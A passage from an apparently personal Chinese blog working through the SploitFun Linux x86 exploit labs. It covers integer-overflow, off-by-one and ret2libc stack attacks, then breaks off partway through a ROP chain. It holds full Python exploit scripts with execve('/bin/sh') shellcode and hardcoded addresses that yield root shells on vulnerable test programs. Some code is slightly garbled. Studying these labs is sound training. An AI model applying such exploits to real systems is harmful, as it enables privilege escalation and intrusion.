<p>漏洞代码中上述漏洞代码的 [1] 行显示了一个整数溢出错误。 strlen 的返回类型</p>
<p>是 size_t ( unsigned int ),它存储在 unsigned char 数据类型中。因</p>
<p>此,任何大于 unsigned char 的最大支持值的值都会导致整数溢出。因此当密码</p>
<p>整数溢出长度为261时,261将被包裹并存储为 passwd_len 变量中的5!由于这个整数溢出,可以绕过行 [2] 执行的边界检查,从而导致基于堆栈的缓冲区溢出!</p>
<h2 id="3-堆栈和溢出测试"><a class="markdownIt-Anchor" href="#3-堆栈和溢出测试"></a> 3. 堆栈和溢出测试</h2>
<p>用gdb查看堆栈</p>
<pre><code> <img src="image-20210730170924024.png" alt="image-20210730170924024" style="zoom:80%;" />
</code></pre>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730170955621.png" alt="image-20210730170955621" style="zoom:80%;">
<p>此时堆栈结构为</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730171019424.png" alt="image-20210730171019424" style="zoom:80%;">
<p>测试1:是否可以覆盖返回地址?</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730171129071.png" alt="image-20210730171129071" style="zoom:80%;">
<p>输入261个A后可以看到返回地址确实成了0x41414141</p>
<p>测试2:目的缓冲区的偏移量是多少?</p>
<p>这里让我们从缓冲区 passwd_buf 中找出什么偏移返回地址。反汇编并绘制了 validate_passwd 的堆栈布局,现在可以尝试找到偏移位置信息!堆栈布局显 示返回地址位于缓冲区 passwd_buf 的偏移( 0x18 )处。 0x18 计算如下:</p>
<p>0xb :passwd_buf 的大小</p>
<p>0x1: passwd_len 的大小</p>
<p>0x4:对齐空间</p>
<p>0x4:edi</p>
<p>0x4:调用者的ebp</p>
<p>测试输入"A" * 24 + “B” * 4 + “C” * 233,用B覆盖返回地址</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730171149653.png" alt="image-20210730171149653" style="zoom:80%;">
<p>测试返回地址被覆盖成了0x42424242,说明判断是对的</p>
<h2 id="4构建exp攻击"><a class="markdownIt-Anchor" href="#4构建exp攻击"></a> 4.构建exp攻击</h2>
<p>通过查看内存可以找到</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730171203079.png" alt="image-20210730171203079" style="zoom:80%;">
<p>返回地址的位置在0xbffff20c开始处</p>
<p>我们的攻击脚本中返回地址的选取是在这个返回地址后的100个“\x90”中</p>
<p>我们随机选取一个地址0xbffff240攻击脚本改为</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-comment">#exp.py</span><br><span class="hljs-comment">#!/usr/bin/env python</span><br><span class="hljs-keyword">import</span> struct<br><span class="hljs-keyword">from</span> subprocess <span class="hljs-keyword">import</span> call<br>arg1 = <span class="hljs-string">"sploitfun"</span><br><span class="hljs-comment">#Stack address where shellcode is copied.</span><br>ret_addr = <span class="hljs-number">0xbffff240</span><br><span class="hljs-comment">#Spawn a shell</span><br><span class="hljs-comment">#execve(/bin/sh)</span><br>scode = <span class="hljs-string">"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"</span><br><span class="hljs-comment">#endianess convertion</span><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">conv</span>(<span class="hljs-params">num</span>):</span><br> <span class="hljs-keyword">return</span> struct.pack(<span class="hljs-string">"<I"</span>,num)<span class="hljs-comment">#nk + RA + NOP's + Shellcode</span><br>arg2 = <span class="hljs-string">"A"</span> * <span class="hljs-number">24</span><br>arg2 += conv(ret_addr);<br>arg2 += <span class="hljs-string">"\x90"</span> * <span class="hljs-number">100</span><br>arg2 += scode<br>arg2 += <span class="hljs-string">"C"</span> * <span class="hljs-number">108</span><br><span class="hljs-built_in">print</span> <span class="hljs-string">"Calling vulnerable program"</span><br>call([<span class="hljs-string">"./vuln"</span>, arg1, arg2])<br><span class="hljs-built_in">print</span> arg2<br> <br></code></pre></td></tr></table></figure>
<p>运行测试可以得到rootshell</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730171301037.png" alt="image-20210730171301037" style="zoom:80%;">
<h1 id="实验三off-by-one-漏洞基于栈"><a class="markdownIt-Anchor" href="#实验三off-by-one-漏洞基于栈"></a> 实验三:Off-By-One 漏洞(基于栈)</h1>
<p><strong>实验平台:<strong><strong>ubuntu 12.04 LTS</strong></strong>(<strong><strong>x86</strong></strong>)</strong></p>
<p><strong>Glibc</strong>**:****(Ubuntu EGLIBC 2.15-0ubuntu10.6) 2.15**</p>
<h2 id="1-原理-2"><a class="markdownIt-Anchor" href="#1-原理-2"></a> 1. 原理</h2>
<p><strong>什么是off by one?</strong></p>
<p>将源字符串复制到目标缓冲区可能会导致off by one 1、源字符串长度等于目标缓冲区长度。 当源字符串长度等于目标缓冲区长度时,单个 NULL 字节将被复制到目标缓冲区上 方。这里由于目标缓冲区位于堆栈中,所以单个 NULL 字节可以覆盖存储在堆栈中 的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。<br>
漏洞代码:</p>
<figure class="highlight c"><table><tr><td class="code"><pre><code class="hljs c"><span class="hljs-comment">//vuln.c</span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><string.h></span></span><br><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">foo</span><span class="hljs-params">(<span class="hljs-keyword">char</span>* arg)</span></span>;<br><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">bar</span><span class="hljs-params">(<span class="hljs-keyword">char</span>* arg)</span></span>;<br><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">foo</span><span class="hljs-params">(<span class="hljs-keyword">char</span>* arg)</span> </span>{<br>bar(arg); <span class="hljs-comment">/* [1] */</span><br>}<br><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">bar</span><span class="hljs-params">(<span class="hljs-keyword">char</span>* arg)</span> </span>{<br><span class="hljs-keyword">char</span> buf[<span class="hljs-number">256</span>];<br><span class="hljs-built_in">strcpy</span>(buf, arg); <span class="hljs-comment">/* [2] */</span><br>}<br><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span> *argv[])</span> </span>{<br><span class="hljs-keyword">if</span>(<span class="hljs-built_in">strlen</span>(argv[<span class="hljs-number">1</span>])><span class="hljs-number">256</span>) { <span class="hljs-comment">/* [3] */</span><br><span class="hljs-built_in">printf</span>(<span class="hljs-string">"Attempted Buffer Overflow\n"</span>);<br>fflush(<span class="hljs-built_in">stdout</span>);<br><span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;<br>}<br>foo(argv[<span class="hljs-number">1</span>]); <span class="hljs-comment">/* [4] */</span><br><span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>} <br><br></code></pre></td></tr></table></figure>
<h2 id="2-编译以及溢出点-2"><a class="markdownIt-Anchor" href="#2-编译以及溢出点-2"></a> 2. 编译以及溢出点</h2>
<p><strong>编译指令:</strong></p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730171628517.png" alt="image-20210730171628517" style="zoom:80%;">
<p>上述漏洞代码的第 [2] 行是可能发生off by one溢出的地方。目标缓冲区长度为 256,因此长度为256字节的源字符串可能导致任意代码执行。 如何执行任意代码执行? 使用称为“EBP覆盖”的技术实现任意代码执行。如果调用者的EBP位于目标缓冲区 之上,则在 strcpy 之后,单个 NULL 字节将覆盖调用者EBP的LSB。</p>
<p>用gdb查看堆栈布局</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730171655079.png" alt="image-20210730171655079" style="zoom:80%;">
<p>通过这样我们得到的堆栈布局是</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730171725012.png" alt="image-20210730171725012" style="zoom:80%;">
<p>这样的</p>
<p>当我们已经知道256字节的用户输入,用空字节可以覆盖 foo 的EBP的LSB。所以 当 foo 的存储在目标缓冲区 buf 之上的EBP被一个 NULL(“\x00”) 字节所覆盖时,ebp 从 0xbffff2d8 变为 0xbffff200 。从堆栈布局我们可以看到堆栈位 置 0xbffff200 是目标缓冲区 buf 的一部分,由于用户输入被复制到该目标缓冲 区,攻击者可以控制这个堆栈位置( 0xbffff200 ),因此他控制指令指针(eip )使用他可以实现任意代码执行。</p>
<h2 id="3溢出测试"><a class="markdownIt-Anchor" href="#3溢出测试"></a> 3.溢出测试</h2>
<p>测试步骤1:EBP是否覆盖,从而可能覆盖返回地址</p>
<p>测试输入256个“A”</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730171746339.png" alt="image-20210730171746339" style="zoom:80%;">
<p>可以看到eip被覆盖成了0x41414141</p>
<p>测试步骤2:距离目标缓冲区的偏移是多少?</p>
<p>现在,我们可以从目标缓冲区 buf 的起始位置开始找到偏移量,我们需要替换我们的返回地址。记住在off by one 漏洞中,我们不会覆盖堆栈中存储的实际返回地址(像我们在基于堆栈的缓冲区溢出中),而是攻击者控制的目标缓冲区 buf 内的4字节内存区域将被视为返回地址位置(在off by one溢出之后)。因此,我们需要找到这个返回地址位置偏移量(从 buf ),它是目标缓冲区 buf 本身的一部分</p>
<p>通过调试,输入256个a,gdb查看内存发现在0xbffff218位置的ebp的值被覆盖成了0xbffff200</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/Users\17473\Desktop\博客\SploitFun Linux x86 Exploit 开发系列教程\image-20210730171807528.png" alt="image-20210730171807528" style="zoom:80%;">
<p>如果ebp的地址为0xbffff200,那我们就知道eip的位置应该为0xbffff204</p>
<p>这个位置距离buf起始位置是0x204-0x118=236,所以我们输入的236个A后面的数就可以覆盖到eip指针</p>
<p>尝试输入</p>
<figure class="highlight apache"><table><tr><td class="code"><pre><code class="hljs apache"><span class="hljs-attribute">r</span> `python -c 'print <span class="hljs-string">"A"</span>*<span class="hljs-number">236</span>+<span class="hljs-string">"B"</span>*<span class="hljs-number">4</span>+<span class="hljs-string">"C"</span>*<span class="hljs-number">16</span>'`<br></code></pre></td></tr></table></figure>
<p>此时的内存空间如下</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730171936781.png" alt="image-20210730171936781" style="zoom:80%;">
<p>这个时候0xbffff204的位置刚好被覆盖成了0x42424242,继续运行程序发现eip指针变成了0x42424242</p>
<h2 id="4构建exp"><a class="markdownIt-Anchor" href="#4构建exp"></a> 4.构建exp</h2>
<p>根据上面测试的内容,我们可以构建这样的exp:</p>
<p>返回地址设定为0xbffff180,buf里的内容先是输入100个A(这时buf应该在0xbffff170左右)然后再接上30个nop指令和shellcode,构建如下</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-comment">#!/usr/bin/python</span><br><span class="hljs-comment"># -*- coding: utf-8 -*-</span><br><span class="hljs-keyword">import</span> struct<br><span class="hljs-keyword">from</span> subprocess <span class="hljs-keyword">import</span> call<br><span class="hljs-comment">#Spawn a shell.</span><br><span class="hljs-comment">#execve(/bin/sh) Size- 28 bytes.</span><br>scode = <span class="hljs-string">"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90"</span><br>ret_addr = <span class="hljs-number">0xbffff180</span><br><span class="hljs-comment">#endianess conversion</span><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">conv</span>(<span class="hljs-params">num</span>):</span><br> <span class="hljs-keyword">return</span> struct.pack(<span class="hljs-string">"<I"</span>,num)<span class="hljs-comment">#nk + RA + NOP's + Shellcode+junk</span><br>buf = <span class="hljs-string">"A"</span> * <span class="hljs-number">100</span><br>buf += <span class="hljs-string">"\x90"</span> * <span class="hljs-number">30</span><br>buf += scode<br>buf += <span class="hljs-string">"a"</span> * <span class="hljs-number">78</span><br>buf += conv(ret_addr)<br>buf += <span class="hljs-string">"A"</span> * <span class="hljs-number">16</span><br><span class="hljs-comment">#print "Calling vulnerable program"</span><br><span class="hljs-built_in">print</span> buf<br><span class="hljs-comment">#call(["./vuln", buf])</span><br><br></code></pre></td></tr></table></figure>
<p>使用gdb调试,然后输入此exp可以拿到rootshell</p>
<p>*<strong>理论是正确的,直接运行我就拿不到,不知道为什么</strong></p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730172617549.png" alt="image-20210730172617549" style="zoom:80%;">
<h1 id="实验四使用-return-to-libc-绕过-nx-位"><a class="markdownIt-Anchor" href="#实验四使用-return-to-libc-绕过-nx-位"></a> 实验四:使用 return-to-libc 绕过 NX 位</h1>
<p><strong>实验平台:<strong><strong>ubuntu 12.04 LTS</strong></strong>(<strong><strong>x86</strong></strong>)</strong></p>
<p><strong>Glibc</strong>**:****(Ubuntu EGLIBC 2.15-0ubuntu10.6) 2.15**</p>
<h2 id="1-原理-3"><a class="markdownIt-Anchor" href="#1-原理-3"></a> 1. 原理</h2>
<p>在以前的帖子中,我们看到了这个攻击者复制shellcode堆栈并跳转到它! 为了成功利用漏洞代码。为了阻止攻击者的行动,安全研究人员提出了一个名 为“NX 位”的漏洞缓解!</p>
<p><strong>什么是NX 位?</strong></p>
<p>它是一种利用缓解技术,使某些内存区域不可执行,并使可执行区域不可写。示 例:使数据,堆栈和堆段不可执行,而代码段不可写。 在NX 位打开的情况下,我们基于堆栈的缓冲区溢出的经典方法将无法利用此漏洞。因为在经典的方法中,shellcode被复制到堆栈中,返回地址指向shellcode。 但是现在由于堆栈不再可执行,我们的漏洞利用失败!</p>
<p>漏洞代码:此代码与以前发布的漏洞代码相同,稍作修改。稍后我会谈谈需要修改的内容。</p>
<figure class="highlight c"><table><tr><td class="code"><pre><code class="hljs c"><span class="hljs-comment">//vuln.c</span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><string.h></span></span><br><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span>* argv[])</span> </span>{<br><span class="hljs-keyword">char</span> buf[<span class="hljs-number">256</span>]; <span class="hljs-comment">/* [1] */</span><br><span class="hljs-built_in">strcpy</span>(buf,argv[<span class="hljs-number">1</span>]); <span class="hljs-comment">/* [2] */</span><br><span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n"</span>,buf); <span class="hljs-comment">/* [3] */</span><br>fflush(<span class="hljs-built_in">stdout</span>); <span class="hljs-comment">/* [4] */</span><br><span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>} <br></code></pre></td></tr></table></figure>
<h2 id="2编译以及溢出点"><a class="markdownIt-Anchor" href="#2编译以及溢出点"></a> 2.编译以及溢出点</h2>
<p>以下是编译过程,没有添加-z execstack的参数进行编译,说明现在堆栈是不可执行的</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730172751113.png" alt="image-20210730172751113" style="zoom:80%;">
<p>这时可以看到堆栈段只包含读写,不能执行</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730173004437.png" alt="image-20210730173004437" style="zoom:80%;">
<p>如何绕过NX位并实现任意代码执行?</p>
<p>可以使用叫做“return-to-libc”的攻击技术绕过NX 位。这里返回地址被一个特定的 libc函数地址覆盖(而不是包含shellcode的堆栈地址)。例如,如果攻击者想要生成一个shell,那么他将使用 system 地址覆盖返回地址,并在堆栈中设置 system 所需的相应参数,以便成功调用它。</p>
<p>首先我们得找到system等地址</p>
<p>通过调试可以找到</p>
<p><strong>system地址为0xb7e5f460</strong></p>
<p><strong>Exit地址为0xb7e52fe0</strong></p>
<p><strong>/bin/sh地址为0xb7f81ff8</strong></p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730173054568.png" alt="image-20210730173054568" style="zoom:80%;">
<h2 id="3-构建exp攻击"><a class="markdownIt-Anchor" href="#3-构建exp攻击"></a> 3. 构建exp攻击</h2>
<p>有了上述条件,我们可以构建这样的exp</p>
<figure class="highlight c"><table><tr><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#exp.py</span><br>#!/usr/bin/env python<br><span class="hljs-keyword">import</span> <span class="hljs-class"><span class="hljs-keyword">struct</span></span><br><span class="hljs-class"><span class="hljs-title">from</span> <span class="hljs-title">subprocess</span> <span class="hljs-title">import</span> <span class="hljs-title">call</span></span><br><span class="hljs-class"><span class="hljs-title">system</span> =</span> <span class="hljs-number">0xb7e5f460</span> <br><span class="hljs-built_in">exit</span> = <span class="hljs-number">0xb7e52fe0</span> <br>binsh_arg = <span class="hljs-number">0xb7f81ff8</span><br><span class="hljs-meta">#endianess conversion</span><br>def conv(num):<br> <span class="hljs-keyword">return</span> struct.pack(<span class="hljs-string">"<I"</span>,num)<span class="hljs-meta">#system + exit + system_arg</span><br>buf = <span class="hljs-string">"A"</span> * <span class="hljs-number">268</span><br>buf += conv(system)<br>buf += conv(<span class="hljs-built_in">exit</span>)<br>buf += conv(binsh_arg)<br>print bu f<br>print <span class="hljs-string">"Calling vulnerable program"</span><br>call([<span class="hljs-string">"./vuln"</span>, buf])<br><br></code></pre></td></tr></table></figure>
<p>测试成功拿到rootshell</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730173210271.png" alt="image-20210730173210271" style="zoom:80%;">
<h1 id="实验五使用链式-return-to-libc-绕过-nx-位未成功"><a class="markdownIt-Anchor" href="#实验五使用链式-return-to-libc-绕过-nx-位未成功"></a> 实验五:使用链式 return-to-libc 绕过 NX 位(未成功)</h1>
<p><strong>实验平台:<strong><strong>ubuntu 12.04 LTS</strong></strong>(<strong><strong>x86</strong></strong>)</strong></p>
<p><strong>Glibc</strong>**:****(Ubuntu EGLIBC 2.15-0ubuntu10.6) 2.15**</p>
<h2 id="1原理"><a class="markdownIt-Anchor" href="#1原理"></a> 1.原理</h2>
<p><strong>漏洞代码:</strong></p>
<figure class="highlight c"><table><tr><td class="code"><pre><code class="hljs c"><span class="hljs-comment">//vuln.c</span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><string.h></span></span><br><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span>* argv[])</span> </span>{<br><span class="hljs-keyword">char</span> buf[<span class="hljs-number">256</span>];<br>seteuid(getuid()); <span class="hljs-comment">/* Temporarily drop privileges */</span><br><span class="hljs-built_in">strcpy</span>(buf,argv[<span class="hljs-number">1</span>]);<br><span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s"</span>,buf);<br>fflush(<span class="hljs-built_in">stdout</span>);<br><span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br><br></code></pre></td></tr></table></figure>
<p><strong>什么是最小权限原则?</strong></p>
<p>此技术允许root setuid程序仅在需要时获取root权限。这指的是当需要时,获得root 权限,当不需要它们时,它将丢弃获得的root权限。正常做法是root setuid程序之 后,用户获取输入之前删除root权限。因此,即使用户输入是恶意的,攻击者也不 会得到root shell。例如下面的漏洞代码不允许攻击者获取root shell。</p>
<p>如上所述,链接 setuid , system 和 exit 将允许我们能够利用漏洞 代码 vuln 。但由于以下两个问题,不是一个直接的任务:</p>
<p>1、在堆栈中的同一位置,攻击者将需要放置libc函数的函数参数或一个libc函数的 函数参数和另一个libc函数的地址,这显然是不可能的(如下图所示)。 2、 seteuid_arg 应为零,但是strcpy遇到\00会结束输入,所以我们得找到一个字符串0的地址来避免这个问题</p>
<p>调用以下libc函数(按照列出的顺序)</p>
<p>seteuid(0)</p>
<p>system(“sh”)</p>
<p>exit()</p>
<p>构建rop链就可以获得root shell。</p>
<h2 id="2攻击思路"><a class="markdownIt-Anchor" href="#2攻击思路"></a> 2.攻击思路</h2>
<p>通过leave ret构建假栈帧,执行我们的rop链,因为strcpy函数会对\x00进行截断,我们要构建setuid(0)这个rop链接,只能通过4个sprintf函数把4个\x00拷到栈上。</p>
<p>Leave ret 这个指令汇编是</p>
<p><strong>mov esp ebp</strong></p>
<p><strong>pop ebp</strong></p>
<p><strong>pop eip</strong></p>
<p>通过这几个指令可以把我们伪造的fake_ebp变成下一个栈的栈底,然后执行fake_ebp+4位置的指令,从而可以按顺序执行我们构造的rop链。</p>
<p>我们需要构造4个sprintf函数把\x00拷贝到setuid()函数的参数位置,然后继续构建fake_ebp执行setuid(),system(/bin/sh)就可以拿到rootshell</p>
<p>编译完成后,查看mian函数的堆栈</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730173554156.png" alt="image-20210730173554156" style="zoom:80%;">
<p>尝试输入268个A和4个B</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730173611629.png" alt="image-20210730173611629" style="zoom:80%;">
<p>可以知道eip的位置还是之前的268个A的后面4位</p>
<p>题目原理是伪造栈,进行栈迁移,然后把0复制到栈上进行操作,但是我实际操作时遇到了诸多问题</p>
<ol>
<li>
<p>题目中strcpy函数不可以用,但是在我使用的libc上是可用的,可以通过strcpy把libc上strcpy函数的地址复制到栈上,所以题目中用了sprintf函数</p>
</li>
<li>
<p>但是实际上在我使用sprintf函数时,它的地址会被截断,无法使用</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730173658115.png" alt="image-20210730173658115" style="zoom:80%;">
</li>
</ol>
<p>这里我sprintf函数的地址是0xb7e6b920,会导致这个函数之后的rop链接复制不了</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730173712364.png" alt="image-20210730173712364" style="zoom:80%;">
<ol start="3">
<li>实际上我也使用其他乌班图尝试了一下,但是sprintf函数并不能把字符复制到栈上,如下,这里rop链可以执行,但是并不能复制到栈上,我也不知道为什么</li>
</ol>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730173731850.png" alt="image-20210730173731850" style="zoom:80%;">
<p>这是sprintf的3个参数设定,经过调试知道题中是把0xbffff23c地址的00复制到0xbffff210,0xbffff23c的位置是strcpy截断的\00的位置</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730173811988.png" alt="image-20210730173811988" style="zoom:80%;">
<p>实际上这里rop链在sprintf函数中就会突然跳转到一个错误地址然后停止,</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730173833967.png" alt="image-20210730173833967" style="zoom:80%;">
<p><strong>基于以上原因,我只能借用了同学的一个可以完成此实验的环境进行调试</strong></p>
<p>这里的sprintf函数地址是0xb7e6cf80,不会被strcpy截断</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730173851194.png" alt="image-20210730173851194" style="zoom:80%;">
<p>/bin/sh的地址是0xb7f81ff8</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730173912815.png" alt="image-20210730173912815" style="zoom:80%;">
<p>我们构建的栈空间应该是这样的</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730173936029.png" alt="image-20210730173936029" style="zoom:80%;">
<p>把构造的exp输入栈后,栈空间是这样的,需要把0xbffff274位置的\x00复制到0xbffff250位置,复制4次,每次加1</p>
<img src="/2021/05/23/SploitFun-Linux-x86-Exploit-%E5%BC%80%E5%8F%91%E7%B3%BB%E5%88%97%E6%95%99%E7%A8%8B-%E5%AD%A6%E4%B9%A0/image-20210730174002589.png" alt="image-20210730174002589" style="zoom:80%;">
<p>Payload脚本如下</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> struct <br><span class="hljs-keyword">from</span> subprocess <span class="hljs-keyword">import</span> call <br>fake_ebp0 = <span class="hljs-number">0xbffff1e0</span><br>fake_ebp1 = <span class="hljs-number">0xbffff1f8</span> <br>fake_ebp2 = <span class="hljs-number">0xbffff210</span> <br>fake_ebp3 = <span class="hljs-number">0xbffff228</span> <br>fake_ebp4 = <span class="hljs-number">0xbffff244</span> <br>fake_ebp5 = <span class="hljs-number">0xbffff254</span> <br>fake_ebp6 = <span class="hljs-number">0xbffff264</span> <br>fake_ebp7 = <span class="hljs-number">0xbffff274</span> <br>leave_ret = <span class="hljs-number">0x0804851c</span> <br>sprintf_addr = <span class="hljs-number">0xb7e6cf80</span> <br>seteuid_addr = <span class="hljs-number">0xb7f08970</span><br>system_addr = <span class="hljs-number">0xb7e5f460</span> <br>exit_addr = <span class="hljs-number">0xb7e52fe0</span> <br>sprintf_arg1 = <span class="hljs-number">0xbffff250</span> <br>sprintf_arg2 = <span class="hljs-number">0x80485f0</span> <br>sprintf_arg3 = <span class="hljs-number">0xbffff274</span><br>binsh_arg = <span class="hljs-number">0xb7f81ff8</span><br>exit_arg = <span class="hljs-number">0xffffffff</span> <br><span class="hljs-comment">#endianess convertion </span><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">conv</span>(<span class="hljs-params">num</span>):</span> <br> <span class="hljs-keyword">return</span> struct.pack(<span class="hljs-string">"<I"</span>,num)<br>buf=<span class="hljs-string">"A"</span>* <span class="hljs-number">264</span><br>buf += conv(fake_ebp0) <br>buf += conv(leave_ret) <br><span class="hljs-comment">#Below four stack frames are for sprintf (to setup seteuid arg ) </span><br>buf += conv(fake_ebp1) <br>buf += conv(sprintf_addr) <br>buf += conv(leave_ret) <br>buf += conv(sprintf_arg1) <br>buf += conv(sprintf_arg2) <br>buf += conv(sprintf_arg3) <br>buf += conv(fake_ebp2) <br>buf += conv(sprintf_addr) <br>buf += conv(leave_ret)<br>sprintf_arg1 += <span class="hljs-number">1</span> 